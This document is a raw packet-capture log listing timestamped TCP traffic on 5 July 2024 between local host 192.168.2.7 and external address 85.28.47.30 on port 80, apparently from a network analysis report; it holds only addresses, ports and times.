Jul 5, 2024 06:23:09.003412962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003433943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003448963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003448963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003454924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003468037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003480911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003489017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003489017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003494024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003505945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003510952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003520012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003531933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003545046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003546000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003556967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003571033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003571033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003576040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003604889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003618002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003621101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003621101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003629923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003643036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003652096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003655910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003671885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003679037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003690958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003704071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003704071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003716946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003730059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003741026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003742933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003742933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003755093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003770113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003771067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003792048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003804922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003810883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003810883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003817081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003832102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003845930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003849983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003849983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003864050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003875971 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003892899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003905058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003916025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003928900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003931046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003931046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003942966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003957033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003962040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003968954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003981113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003988981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003993034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004009008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004018068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004034042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004045963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004048109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004048109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004059076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004074097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004076958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004089117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004101992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004107952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004107952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004116058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004129887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004143000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004156113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004168034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004168034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004168987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004180908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004188061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004193068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004205942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004215002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004219055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004234076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004245043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004251957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004251957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004259109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004271030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004285097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004297018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004297018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004298925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004314899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004316092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004327059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004342079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004348040 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004355907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004370928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004383087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004384041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004383087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004398108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004410028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004425049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004434109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004434109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004440069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004476070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004476070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004489899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004503965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004504919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004518986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004532099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.004542112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004542112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004575968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.004575968 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096268892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096309900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096321106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096332073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096343040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096352100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096363068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096369982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096369982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096384048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096395016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096406937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096416950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096429110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096436977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096436977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096441031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096455097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096465111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096467972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096497059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096497059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096506119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096517086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096527100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096537113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096544981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096549034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096569061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096586943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096586943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096590042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096600056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096610069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096621990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096630096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096630096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096630096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096658945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096663952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096663952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096669912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096681118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096693039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096709967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096721888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096754074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096754074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096775055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096796989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096806049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096807003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096806049 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096848965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096848965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096862078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096873045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096883059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096899033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096940994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.096972942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096983910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.096993923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097006083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097016096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097022057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097033978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097048044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097060919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097068071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097068071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097141027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097148895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097161055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097172022 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097182989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097183943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097197056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097207069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097218037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097219944 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097239971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097255945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097265959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097268105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097268105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097278118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097295046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097305059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097306967 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097316027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097337008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097346067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097346067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097347975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097362995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097384930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097395897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097404003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097404003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097407103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097419024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097429037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097440004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097450018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097450018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097450018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097460985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097476006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097486019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097486019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097487926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097500086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097510099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097527027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097538948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097549915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097562075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097568035 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097574949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097587109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097599983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097600937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097599983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097614050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097625017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097635031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097642899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097642899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097645998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097665071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097673893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097686052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097686052 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097687006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097700119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097709894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097721100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097738028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097748995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097758055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097759962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097759962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097773075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097784996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097793102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097793102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097796917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097812891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097831011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097841978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097851038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097857952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097857952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097863913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097882986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097897053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097907066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097907066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097908020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097920895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097932100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097934961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097945929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097965002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097980022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097980022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.097985029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.097997904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098007917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098018885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098027945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.098027945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.098031998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098045111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098056078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.098071098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.098099947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.098099947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190154076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190170050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190182924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190287113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190324068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190339088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190356970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190367937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190377951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190390110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190393925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190396070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190401077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190413952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190424919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190429926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190435886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190447092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190457106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190460920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190460920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190468073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190479994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190500021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190500975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190520048 CEST	80	49699	85.28.47.30	192.168.2.7
